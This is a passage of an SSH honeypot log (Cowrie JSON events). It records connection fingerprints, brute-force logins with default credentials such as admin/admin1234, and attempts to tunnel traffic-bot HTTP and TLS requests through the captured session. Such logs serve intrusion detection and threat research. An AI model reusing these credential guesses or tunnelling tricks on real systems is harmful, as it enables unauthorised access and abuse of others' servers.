\\x0f\\xf3\\xa4j;\\x93^>\\xcf\\xf4\\xf05[\\x19\\x97F(\\xb5\\x04\\xe2\\xd8\\x1e1\\xc8f\\x93\\x95\\xb5>\\xa7\\xc9\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:28.070850Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:28.500214Z","src_ip":"113.164.152.20","session":"28c79aae896b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:30.264614Z","src_ip":"91.92.40.36","session":"5b046657f14f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35170,"dst_ip":"159.203.135.109","dst_port":22,"session":"0157a481a710","protocol":"ssh","message":"New connection: 91.92.40.36:35170 (159.203.135.109:22) [session: 0157a481a710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:30.472610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:32.258176Z","src_ip":"91.92.40.36","session":"0157a481a710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:32.261447Z","src_ip":"91.92.40.36","session":"0157a481a710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":53975,"dst_ip":"10.17.0.5","dst_port":22,"session":"278ef89f2b17","protocol":"ssh","message":"New connection: 23.175.50.47:53975 (10.17.0.5:22) [session: 278ef89f2b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:32.323390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:32.342494Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:32.435230Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50127,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb2c47e7a76","protocol":"ssh","message":"New connection: 123.27.168.40:50127 (10.17.0.5:22) [session: dcb2c47e7a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:32.930697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:32.935471Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:33.168433Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:33.575903Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bingquanye","password":"bingquanye","message":"login attempt [bingquanye/bingquanye] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:33.805973Z","src_ip":"91.92.40.36","session":"9e8196958f01","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:34.184523Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:34.538583Z","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:34.633856Z","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.051150Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; X017DA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bUtGbGxFZWdtIzFPNHsrRQ%3D%3DXDzhrGu06INfoVfQnuT5m7FXUhiUoAkKCAUiXLAKv76%2BDanbpsMtlvlErdURfhpdBSlnYrfa0HSD%2BUziPgf4eSSOSgBF55rsbVpRHkZcre11bw8%2BL2qZJU8BxD%2FBBC3D2Br50qTENYo5oQogIxYoIQ1LcAMhVCU6BX1CUywU%2BAq8Jtv%2BcuN2anBXxRHMz2PoOtTd3MonIIeUqFhl%2B1IHXpzlB7z%2B8IvpD%2Bgix1DMUZjbo%2FDbzjA%2Bt%2BawY7PGABpTbloMH7%2FuTPWKuTUih%2BaGziYHdw%2BPZHwfhOgI9B52RZbH9knwQIRclL7%2F1lHfP5wVfel%2BKLnz17GuVTQeKhIVyYM8JNNBY0iWPEGyFpONwx7EX949UuG9jP%2BLIvyEq8aZmmpgsf3r3R7VWLvCrskSQ9mOxrbv7GTtwyTgntLPyL382ZdCX02aEDRidPBeGcw7Yo40ieSC9MmS765MhvmNM7Hha%2FNbdw7RL3%2FOmrg9S69YszDu7M5cp8%2BgpiUwD4lubFijsU1MRGRK8Nqi91XQSd9K6W%2FNtUZjQXkyGrB8CyFa2LAHZfpuaaF3Pv%2Br4nLImjKkV9GVMPDSrVrkOj9bsV4H3KowXgK%2BnPAo2w4gRshsn3DYDSLfSly2bdmerU8qNHg03%2FjTfX338C9kmg%2FRdiVI7amTAQXZ9rFab%2B6hfdPdXrnaFjZHwXhorjNZcmvNugImpMNeD0MtmqdcVVKTVU5WWpX9HjrWgo44STgX64fwIR8RYYnKnycroXbK9v4Yg9ENjjNhNGUcdy%2F8TzI0cJB7ObuLT2u9yuspyRZUUw%2BpNFVn5jSm5IApW4dfb9CDb7C%2FYPjCB4oq1%2FecXkkZv%2BPoaxQ01feMjgscoqlALHfoj%2Bqe50xYIir%2BCRAnmy9dq4%2Fqzy9gJfu2f6%2FyY%2B62ByQquufuRdr1YyzkX9frHFOVWmKyCVp%2Fnx%2BzXJiWqtFfOscIc3B6c7RbM0NlOr43fsFq58uwtOAk%2Brnfsn6CBcJD9UaPU7K00x1EbafiQrvN6NWYyWG4iygF2bYVnJnNEjg1%2BHB%2FR7uGOdZ7%2BZxdCDgf8bKEcB63el%2BpuPxguQcW'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; X017DA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bUtGbGxFZWdtIzFPNHsrRQ%3D%3DXDzhrGu06INfoVfQnuT5m7FXUhiUoAkKCAUiXLAKv76%2BDanbpsMtlvlErdURfhpdBSlnYrfa0HSD%2BUziPgf4eSSOSgBF55rsbVpRHkZcre11bw8%2BL2qZJU8BxD%2FBBC3D2Br50qTENYo5oQogIxYoIQ1LcAMhVCU6BX1CUywU%2BAq8Jtv%2BcuN2anBXxRHMz2PoOtTd3MonIIeUqFhl%2B1IHXpzlB7z%2B8IvpD%2Bgix1DMUZjbo%2FDbzjA%2Bt%2BawY7PGABpTbloMH7%2FuTPWKuTUih%2BaGziYHdw%2BPZHwfhOgI9B52RZbH9knwQIRclL7%2F1lHfP5wVfel%2BKLnz17GuVTQeKhIVyYM8JNNBY0iWPEGyFpONwx7EX949UuG9jP%2BLIvyEq8aZmmpgsf3r3R7VWLvCrskSQ9mOxrbv7GTtwyTgntLPyL382ZdCX02aEDRidPBeGcw7Yo40ieSC9MmS765MhvmNM7Hha%2FNbdw7RL3%2FOmrg9S69YszDu7M5cp8%2BgpiUwD4lubFijsU1MRGRK8Nqi91XQSd9K6W%2FNtUZjQXkyGrB8CyFa2LAHZfpuaaF3Pv%2Br4nLImjKkV9GVMPDSrVrkOj9bsV4H3KowXgK%2BnPAo2w4gRshsn3DYDSLfSly2bdmerU8qNHg03%2FjTfX338C9kmg%2FRdiVI7amTAQXZ9rFab%2B6hfdPdXrnaFjZHwXhorjNZcmvNugImpMNeD0MtmqdcVVKTVU5WWpX9HjrWgo44STgX64fwIR8RYYnKnycroXbK9v4Yg9ENjjNhNGUcdy%2F8TzI0cJB7ObuLT2u9yuspyRZUUw%2BpNFVn5jSm5IApW4dfb9CDb7C%2FYPjCB4oq1%2FecXkkZv%2BPoaxQ01feMjgscoqlALHfoj%2Bqe50xYIir%2BCRAnmy9dq4%2Fqzy9gJfu2f6%2FyY%2B62ByQquufuRdr1YyzkX9frHFOVWmKyCVp%2Fnx%2BzXJiWqtFfOscIc3B6c7RbM0NlOr43fsFq58uwtOAk%2Brnfsn6CBcJD9UaPU7K00x1EbafiQrvN6NWYyWG4iygF2bYVnJnNEjg1%2BHB%2FR7uGOdZ7%2BZxdCDgf8bKEcB63el%2BpuPxguQcW'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.054661Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.057872Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa/c\\x9f\\xe6\\xde\\xf3\\xa5\\xe1\\xa2\\xbc\\xa5\\xfe\\x86\\x12p\\x0b\\x0c\\xa5\\xde\\x16_\\x9c\\xfb\\x84\\xb6\\xf4\\xb0\\xd7\\x9c\\xda\\x86 #\\x82\\xc9.\\xaeA~\\xf5\\xfa\\x91\\xa0\\x8f\\x14\\xe1n\\x10}WL\\x80\\x11\\xa5\\xbe\\x1eV\\x12\\x01Ap9i\\x0c\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5\\xbest\\xe16\\r\\x8e\"\\x83G\\t\\x8d\\x19\\x1e\\xfd\\x92\\xc8\\xc0\\xb0\\xa41\\x94\\x1e\\x9d4\\xe5\\x1c> \\x1ee\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa/c\\x9f\\xe6\\xde\\xf3\\xa5\\xe1\\xa2\\xbc\\xa5\\xfe\\x86\\x12p\\x0b\\x0c\\xa5\\xde\\x16_\\x9c\\xfb\\x84\\xb6\\xf4\\xb0\\xd7\\x9c\\xda\\x86 #\\x82\\xc9.\\xaeA~\\xf5\\xfa\\x91\\xa0\\x8f\\x14\\xe1n\\x10}WL\\x80\\x11\\xa5\\xbe\\x1eV\\x12\\x01Ap9i\\x0c\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5\\xbest\\xe16\\r\\x8e\"\\x83G\\t\\x8d\\x19\\x1e\\xfd\\x92\\xc8\\xc0\\xb0\\xa41\\x94\\x1e\\x9d4\\xe5\\x1c> \\x1ee\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.062674Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.297692Z","session":"dcb2c47e7a76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:35.527655Z","src_ip":"123.27.168.40","session":"dcb2c47e7a76","protocol":"ssh"}
